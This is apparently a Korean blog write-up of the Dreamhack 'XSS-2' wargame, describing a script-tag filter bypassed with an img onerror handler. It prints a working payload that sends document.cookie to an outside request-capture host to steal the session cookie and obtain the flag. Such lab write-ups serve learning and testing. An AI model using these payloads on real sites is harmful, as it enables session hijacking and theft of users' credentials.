웹 서비스에 접속하면 상단에는 "XSS-2" 라는 제목과 함께 Home 메뉴가 표시됩니다. 그 아래에는 vuln(xss) page, memo, flag와 같이 각각의 링크가 나열되어 있습니다.

이번 문제는 XSS-1과 유사한 유형이지만, 세부적으로는 필터링 동작의 차이가 존재합니다.
이전에는 vuln page에 접근했을 때, URL 파라미터에 <script>alert(1)</script>를 삽입하면 즉시 팝업창이 발생했지만, 현재 환경에서는 동일한 입력에도 팝업이 실행되지 않는 것을 확인할 수 있었습니다.
이를 통해 단순 스크립트 실행이 차단되는 필터링 로직이 적용되어 있음을 유추할 수 있었습니다.

필터링으로 인해 <script> 태그는 더 이상 동작하지 않았기 때문에, 이를 우회하기 위한 대체 기법을 적용했습니다.
그 방법으로는 img 태그의 onerror 속성을 활용하는 방식입니다.
<img src="x" onerror="alert(1)">
이 페이로드는 존재하지 않는 이미지(x)를 불러오려다 오류가 발생하면, 그 시점에 onerror 이벤트가 실행되어 alert(1) 팝업창이 뜨도록 동작합니다.
즉, 단순 스크립트 태그는 필터링되더라도 이벤트 핸들러를 통한 XSS 우회 실행이 가능함을 확인할 수 있습니다.

앞서 확인한 img onerror 기법을 기반으로, 단순 팝업 실행 대신 실제 공격 시나리오를 구현하기 위해 드림핵 툴즈를 활용했습니다.
dreamhack-tools
tools.dreamhack.games
사용한 페이로드는 다음과 같습니다:
<img src=x onerror=location.href="https://czcunyl.request.dreamhack.games/?cookie="+document.cookie>
이 페이로드는 단순히 팝업을 띄우는 대신, location.href를 통해 사용자의 브라우저를 공격자 서버(request.dreamhack.games)로 리다이렉트하면서, document.cookie 값을 URL 파라미터에 붙여 전송합니다.
위의 페이로드를 실제 입력란에 삽입하여 요청을 전송한 결과, 아래 화면과 같이 쿠키 값이 공격자 서버로 전송되었고 최종적으로 플래그를 획득할 수 있었습니다.


'Dreamhack > 웹해킹' 카테고리의 다른 글
| [LEVEL 1] [wargame.kr] fly me to the moon (0) | 2025.09.08 |
|---|---|
| [LEVEL 1] csrf-2 (1) | 2025.09.08 |
| [LEVEL 1] mongoboard (0) | 2025.09.06 |
| [LEVEL 1] php-1 (0) | 2025.09.06 |
| [LEVEL 1] simple-ssti (0) | 2025.09.04 |